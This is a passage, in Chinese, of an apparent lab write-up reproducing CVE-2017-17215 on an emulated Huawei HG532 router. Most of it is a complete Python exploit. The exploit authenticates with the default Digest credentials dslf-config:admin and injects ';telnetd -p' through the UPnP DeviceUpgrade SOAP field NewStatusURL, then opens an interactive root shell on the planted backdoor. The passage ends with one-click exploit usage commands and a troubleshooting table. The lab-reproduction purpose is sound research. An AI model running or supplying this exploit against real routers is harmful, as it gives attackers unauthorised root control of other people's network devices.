    print("[+] upnp 已就绪 (37215)")

def inject_telnetd():
    """Digest 认证 + 注入 telnetd -p SHELL_PORT"""
    soap = ('<?xml version="1.0" ?>'
            '<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" '
            's:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">'
            '<s:Body><u:Upgrade xmlns:u="urn:www-huawei-com:service:DeviceUpgrade:1">'
            f'<NewStatusURL>;telnetd -p {SHELL_PORT};</NewStatusURL>'
            '<NewDownloadURL>HUAWEIUPNP</NewDownloadURL>'
            '</u:Upgrade></s:Body></s:Envelope>')

    # 第一步: 拿 nonce
    s = socket.socket(); s.settimeout(8)
    try:
        s.connect((TARGET, PORT))
        req = (f'POST {URI} HTTP/1.0\r\nHost: {TARGET}:{PORT}\r\n'
               f'Content-Type: text/xml\r\n'
               f'SOAPAction: "urn:www-huawei-com:service:DeviceUpgrade:1#Upgrade"\r\n'
               f'Content-Length: {len(soap)}\r\n\r\n{soap}')
        s.send(req.encode())
        resp = s.recv(4096).decode(errors="replace")
        m = re.search(r'nonce="([^"]+)"', resp)
        if not m:
            print(f"[-] 没拿到 nonce: {resp[:150]}")
            s.close(); return False
        nonce = m.group(1)
        s.close()
    except Exception as e:
        print(f"[-] 拿 nonce 失败: {e}")
        return False

    # 第二步: 算 Digest + 注入
    nc, cnonce = "00000001", os.urandom(8).hex()
    HA1 = md5(f"{USER}:HuaweiHomeGateway:{PASS}")
    HA2 = md5(f"POST:{URI}")
    response = md5(f"{HA1}:{nonce}:{nc}:{cnonce}:auth:{HA2}")
    auth = (f'Digest username="{USER}", realm="HuaweiHomeGateway", nonce="{nonce}", '
            f'uri="{URI}", qop=auth, nc={nc}, cnonce="{cnonce}", '
            f'response="{response}", algorithm=MD5')

    s = socket.socket(); s.settimeout(6)
    try:
        s.connect((TARGET, PORT))
        req = (f'POST {URI} HTTP/1.0\r\nHost: {TARGET}:{PORT}\r\n'
               f'Content-Type: text/xml\r\n'
               f'SOAPAction: "urn:www-huawei-com:service:DeviceUpgrade:1#Upgrade"\r\n'
               f'Authorization: {auth}\r\n'
               f'Content-Length: {len(soap)}\r\n\r\n{soap}')
        s.send(req.encode())
        try:
            s.recv(4096)
        except socket.timeout:
            pass  # system() 阻塞等待 telnetd,超时是正常的
        s.close()
    except Exception as e:
        print(f"[-] 注入失败: {e}")
        return False
    print(f"[+] telnetd 后门已注入 (端口 {SHELL_PORT})")
    return True

def interactive_shell():
    """连接 telnetd 后门,进入交互 shell"""
    time.sleep(2)
    s = socket.socket(); s.settimeout(10)
    try:
        s.connect((TARGET, SHELL_PORT))
    except Exception as e:
        print(f"[-] 连接 {SHELL_PORT} 失败: {e}")
        return
    time.sleep(0.4)
    # 处理 telnet 协商
    try:
        d = s.recv(4096)
        resp = b''
        i = 0
        while i < len(d):
            if d[i] == 0xff:
                resp += bytes([0xff, 0xfc, d[i+2]])
                i += 3
            else:
                i += 1
        if resp:
            s.send(resp)
    except Exception:
        pass
    time.sleep(0.3)

    print(f"\n[+] 拿到 root shell!(busybox 精简版,可用: ls cat echo ps mount netstat)\n")
    buf = b''
    while True:
        try:
            s.settimeout(0.3)
            try:
                chunk = s.recv(8192)
                if chunk:
                    sys.stdout.write(chunk.decode(errors="replace"))
                    sys.stdout.flush()
            except socket.timeout:
                pass
            cmd = input("root@HG532:~# " if not buf else "")
            if cmd.strip() == "exit":
                break
            if not cmd.strip():
                continue
            s.send((cmd + "\n").encode())
            time.sleep(0.4)
        except (KeyboardInterrupt, EOFError):
            print("\n[*] 退出")
            break
    s.close()

if __name__ == "__main__":
    for attempt in range(3):
        if inject_telnetd():
            interactive_shell()
            break
        print(f"[-] 第 {attempt+1} 次注入失败,重启 upnp 重试...")
        restart_upnp()
    else:
        print("[-] 多次尝试仍失败,请检查 mic 是否运行 (msgsvr)")

这样就成功锝拿到shell了

七、完整 Exploit 脚本

已提供一键 exploit:exploit/cve-2017-17215-full-exploit.py

# 单命令注入
python3 cve-2017-17215-full-exploit.py -t 127.0.0.1 -p 37215 -c "echo PWNED > /tmp/pwned"

# 一键拿 shell(Digest 认证 + 注入 telnetd + 交互 shell)
python3 cve-2017-17215-full-exploit.py -t 127.0.0.1 -p 37215 --shell-port 9999

脚本自动完成:

  1. Digest 认证(默认 dslf-config:admin)
  2. 注入 telnetd -p 9999
  3. telnet 连接并进入交互 shell

另有 exploit_digest.py(带认证的单命令注入,更简洁稳定),实际验证中更推荐用它做命令注入。

八、常见问题排查

现象

原因

解决

SSH 连不上 (no matching host key)

Debian Squeeze 老 sshd 用 ssh-rsa

加 -o HostKeyAlgorithms=+ssh-rsa,ssh-dss

mic 启动报 Load cfm failed

用了 qemu-user 而非 qemu-system

改用 qemu-system 完整 VM

网络彻底断 (e1000 timeout)

mic/upnp 创建 br0:9 桥接

patch 掉 brctl/ifconfig 命令

upnp 报 Unable to open /dev/bhal

缺硬件抽象层设备

touch /hg532/dev/bhal

telnetd 立即 exit(-1)

IPv6 双栈 bind 冲突

echo 1 > /proc/sys/net/ipv6/bindv6only

telnetd 立即 exit(-1)(无 bind 错误)

连不上 /var/msgsvr(mic 未启动)

先启动 mic 创建 msgsvr

telnetd 约 54 秒后消失

ATP_MSG 握手 + select 超时退出

启动后尽快连接(1 分钟内)

401 Unauthorized

需 Digest 认证

用 dslf-config:admin + 正确 URN

注入 telnetd 后无响应

system() 阻塞在 telnetd 前台进程

正常现象,尽快连接即可

sh: touch: not found

busybox 精简版无 touch/id

用 echo/ls/cat 等,或绝对路径

连接 telnetd 得到 CLI 而非 shell

telnetd execv /bin/cli

替换 /bin/cli 为 exec /bin/sh